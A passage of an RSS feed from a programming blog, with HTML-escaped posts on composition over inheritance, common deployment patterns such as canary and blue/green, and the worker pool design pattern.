style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Car&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__init__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;engine &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Engine()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;start_engine&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;engine&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;start()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;SportsCar&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__init__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;engine &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Engine()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;start_engine&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Vroooooom! Starting engine&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Using Composition&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;regular_car &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Car()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;regular_car&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;start_engine()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fast_car &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SportsCar()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fast_car&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;start_engine()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the inheritance example, we started with a basic &amp;ldquo;Car&amp;rdquo; and modified it to make a &amp;ldquo;SportsCar&amp;rdquo;. In the compositing example, we build an &amp;ldquo;Automobile&amp;rdquo; and a &amp;ldquo;SportsCar&amp;rdquo; by combining smaller parts, such as the engine. It&amp;rsquo;s like using LEGO pieces to build cars, and it gives us more control and flexibility when writing our programs. Once you understand the meaning of composition over inheritance it&amp;rsquo;ll make you rethink the way you write code.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Composition over inheritance is a recurring theme in object-oriented programming (OOP). Usually, it is explained in a very complex way, but today I will try to simplify so even a child can understand it, purists will hate me but I&amp;rsquo;m willing to pay the price.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start our composition over inheritance explanation. Imagine you have a giant box of LEGO bricks, yes, those little plastic blocks that cause unimaginable pain when you step on them. But, in this case, we won&amp;rsquo;t use them to cause pain but to build different types of cars.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Common and Useful Deployment Patterns</title>
      <link>https://coffeebytes.dev/en/software-architecture/common-and-useful-deployment-patterns/</link>
      <pubDate>Fri, 18 Aug 2023 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/software-architecture/common-and-useful-deployment-patterns/</guid>
      
      <category>software architecture</category>
      
      
      
      
      
      <content:encoded>&lt;h2 id=&#34;what-is-a-deployment-pattern&#34;&gt;What is a deployment pattern?&lt;/h2&gt;&#xA;&lt;p&gt;A deployment pattern (Not to be confused with a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/design-patterns-in-software/&#34;&gt;design pattern&lt;/a&gt;&#xA;) is an automatic method of deploying new features of an application to your users. But it doesn&amp;rsquo;t stop there, it is possible to get extra information from a deploy of an application, but&amp;hellip;. but how?&lt;/p&gt;&#xA;&lt;p&gt;Imagine you want to test a feature of your web application, but you are afraid that it will not be liked by your users, or you want to see if this new feature increases or decreases the conversion rate of your application, which is invaluable, especially in the early stages of iteration of an application.&lt;/p&gt;&#xA;&lt;p&gt;What can you do in these cases? The best thing to do would be to test it on a representative sample of your audience and, depending on how it responds, discard it or roll it out to the rest of the users.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;common-deployment-patterns&#34;&gt;Common deployment patterns&lt;/h2&gt;&#xA;&lt;p&gt;There are a number of widely used deployment patterns:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Monolithic deployment&lt;/li&gt;&#xA;&lt;li&gt;Microservices deployment&lt;/li&gt;&#xA;&lt;li&gt;Containerization&lt;/li&gt;&#xA;&lt;li&gt;Serverless Deployment&lt;/li&gt;&#xA;&lt;li&gt;Continuous Integration (CI) / Continuous Deployment (CD)&lt;/li&gt;&#xA;&lt;li&gt;Canary&lt;/li&gt;&#xA;&lt;li&gt;Features toggles&lt;/li&gt;&#xA;&lt;li&gt;Blue/Green&lt;/li&gt;&#xA;&lt;li&gt;A/B Testing&lt;/li&gt;&#xA;&lt;li&gt;Dark launches&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For this post I am going to focus on the last patterns, since they are the ones I have read the least information about on the internet. Consider that &lt;strong&gt;deployment patterns can be combined with each other&lt;/strong&gt;. For example, you can perform A/B tests on your monolithic application to find the best version. Having said that, I will explain the patterns.&lt;/p&gt;&#xA;&lt;h3 id=&#34;canary-deployment&#34;&gt;Canary deployment&lt;/h3&gt;&#xA;&lt;p&gt;This pattern consists of showing new features to a small group of users. After analyzing and correcting the performance of the new features and, if appropriate, the deploy is extended to all users.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph LR;&#xA;    LoadBalancer--&gt;Ver-1;&#xA;    LoadBalancer--&gt;Ver-2-Canary;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;h3 id=&#34;features-toggles-deployment&#34;&gt;Features toggles deployment&lt;/h3&gt;&#xA;&lt;p&gt;Instead of releasing all changes at the same time, this pattern hides new features behind a switch, which can be turned on or off without modifying the code. This allows changes to be released gradually or only to certain users, making it easy to test and manage. This method has the advantage that if a problem occurs, you can turn the switch off without the need to return the code to a previous state.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph LR;&#xA;    Server-- on/off --&gt; Feature1;&#xA;    Server-- on/off --&gt; Feature2;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;h3 id=&#34;bluegreen-deployment&#34;&gt;Blue/Green deployment&lt;/h3&gt;&#xA;&lt;p&gt;In the blue/green deployment we have two similar environments simultaneously. These environments will be known as blue and green. At any time only one of the two environments will be active, while load balancing from one environment to the other. If we find any errors we simply adjust the load balancing to the opposite side.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph LR;&#xA;    LoadBalancer--&gt;Stagging;&#xA;    LoadBalancer-.-&gt;Production;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;h3 id=&#34;ab-testing-deployment&#34;&gt;A/B testing deployment&lt;/h3&gt;&#xA;&lt;p&gt;A/B testing is the classic A/B testing; a random set of our users will receive version A of the application, while the rest will receive version B. We will then use statistics, specifically the two-sample t-test, to determine which version (A or B) is more effective.&lt;/p&gt;&#xA;&lt;p&gt;The distribution percentage does not necessarily have to be 50-50.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph LR;&#xA;    LoadBalancer--&gt;VersionA--&gt;30[&#34;30%&#34;]--&gt;Analysis;&#xA;    LoadBalancer--&gt;VersionB--&gt;70[&#34;70%&#34;]--&gt;Analysis--&gt;Statistics;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;h3 id=&#34;dark-launches-deployment&#34;&gt;Dark launches deployment&lt;/h3&gt;&#xA;&lt;p&gt;This type of deployment pattern is quite similar to the Canary deployment, however in this case users must be aware that they are receiving a test version and must be aware of the new functionality being tested. With this knowledge the users will be able to provide feedback on the new functionality.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph LR;&#xA;    LoadBalancer--&gt;Normal;&#xA;    LoadBalancer---|Inform the users|DarkLaunch;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Consider that many projects do not reach the necessary size for a deploy pattern to be useful, and that if your application has few users it may even be counterproductive. However, if this is not the case, you can use one or several of them to extract valuable information for your application.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;h2 id=&#34;what-is-a-deployment-pattern&#34;&gt;What is a deployment pattern?&lt;/h2&gt;&#xA;&lt;p&gt;A deployment pattern (Not to be confused with a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/design-patterns-in-software/&#34;&gt;design pattern&lt;/a&gt;&#xA;) is an automatic method of deploying new features of an application to your users. But it doesn&amp;rsquo;t stop there, it is possible to get extra information from a deploy of an application, but&amp;hellip;. but how?&lt;/p&gt;&#xA;&lt;p&gt;Imagine you want to test a feature of your web application, but you are afraid that it will not be liked by your users, or you want to see if this new feature increases or decreases the conversion rate of your application, which is invaluable, especially in the early stages of iteration of an application.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Worker Pool Design Pattern Explanation</title>
      <link>https://coffeebytes.dev/en/software-architecture/worker-pool-design-pattern-explanation/</link>
      <pubDate>Wed, 28 Jun 2023 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/software-architecture/worker-pool-design-pattern-explanation/</guid>
      
      <category>software architecture</category>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;This entry is about a the Worker Pool design pattern. Imagine that you have a number of concurrent tasks that you want to perform, either crawling many websites, or perhaps processing information from each of the pixels of an image or anything else you can think of.&lt;/p&gt;&#xA;&lt;p&gt;The simplistic option is to create a series of workers and use them concurrently, something like this pseudocode:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; job &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; jobs:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; process_concurrent_job()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;This may look pretty good so far, at first, but it has multiple disadvantages; first, you will be creating workers without control, which can increase your program&amp;rsquo;s memory usage incredibly fast; second, you are constantly creating and destroying workers, which can be costly for your program.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/worker-pool-design-pattern-explanation/images/workers-vs-memoria.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/worker-pool-design-pattern-explanation/images/workers-vs-memoria.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;If there is no worker limit, workers will continue to be created to match the tasks&#34; width=&#34;605&#34; height=&#34;340&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;If there is no worker limit, workers will continue to be created to match the tasks&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;It would be best to keep memory usage constant and avoid creating and destroying workers frequently. For this, the worker pool pattern works perfect.&lt;/p&gt;&#xA;&lt;h2 id=&#34;interactive-worker-pool-explanation&#34;&gt;Interactive Worker pool explanation&lt;/h2&gt;&#xA;&lt;p&gt;Worker pool is a classical &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/design-patterns-in-software/&#34;&gt;design pattern&lt;/a&gt;&#xA; that comes to make up for these shortcomings.&lt;/p&gt;&#xA;&lt;div id=&#34;app-worker-pool&#34;&gt;&lt;/div&gt;&#xA;&lt;script type=&#34;module&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/raw/upload/v1760636200/coffee-bytes/index-CBAUHLL7_qlfk88.js&#34;&gt;&lt;/script&gt;&#xA;&#xA;&lt;p&gt;There are developers who have used this pattern to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://marcio.io/2015/07/handling-1-million-requests-per-minute-with-golang&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;handle a million requests per minute on go.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;how-does-the-worker-pool-design-pattern-work&#34;&gt;How does the worker pool design pattern work?&lt;/h2&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s take a tail of a task by running, these can be fixed or dynamically created. Then, instead of creating and destroying multiple workers (&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-introduction-to-goroutines-and-concurrency/&#34;&gt;goroutines in the case of go&lt;/a&gt;&#xA;) constantly, we create a &lt;strong&gt;fixed number of workers&lt;/strong&gt; and put them in a cycle, in which they will be constantly listening for information from the queue (through a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-use-of-channels-to-communicate-goroutines/&#34;&gt;channel in the case of languages like Go&lt;/a&gt;&#xA;). This way we will keep our memory management much more stable and predictable, in addition to limiting the impact of constant creation and destruction of workers.&lt;/p&gt;&#xA;&lt;p&gt;Finally, we can optionally save the results of these tasks in a queue from which they can be read later.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;flowchart TD&#xA;    Job_1--&gt;JobQueue&#xA;    Job_2--&gt;JobQueue&#xA;    Job_3--&gt;JobQueue&#xA;    subgraph WorkerPool&#xA;    JobQueue--&gt;|job|Worker_1&#xA;    JobQueue--&gt;|job|Worker_2&#xA;    JobQueue--&gt;|job|Worker_n&#xA;    end&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;job-queue&#34;&gt;Job queue&lt;/h3&gt;&#xA;&lt;p&gt;The tasks or jobs that we want to be executed by the workers will go to a task queue or job queue. A normal queue, like any other. This can be fixed, or created on the fly by means of user interactions or other systems.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;classDiagram&#xA;class JobQueue{&#xA;    job 1&#xA;    job 2&#xA;    job 3&#xA;    ...&#xA;    job n&#xA;}&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;h3 id=&#34;the-pool&#34;&gt;The pool&lt;/h3&gt;&#xA;&lt;p&gt;The pool initializes and hosts the number of workers we set up, generally you will want to use a configuration file, environment variables or other means. Each of these workers will take a task, run it, and when it becomes available again, it will again look for a task from the job queue to run and repeat the cycle.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;flowchart TD&#xA;    subgraph Pool&#xA;    JobQueue--&gt;|job|Worker_1&#xA;    JobQueue--&gt;|job|Worker_2&#xA;    JobQueue--&gt;|job|Worker_3&#xA;    JobQueue--&gt;|job|Worker_4&#xA;    JobQueue--&gt;|job|Worker_n&#xA;    end&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;the-worker&#34;&gt;The worker&lt;/h3&gt;&#xA;&lt;p&gt;The worker is in charge of executing the tasks and, as I mentioned, it will be listening for new tasks or jobs permanently or until a certain limit that we indicate, such as the job queue runs out, a given number of tasks are executed or any other condition that we declare.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;flowchart TD&#xA;    A[The worker is initiliazed] --&gt; B{Are pending jobs in the queue?}&#xA;    B --&gt;|yes| C[Get a new job]&#xA;    C --&gt; B&#xA;    B ----&gt;|No| E[End the 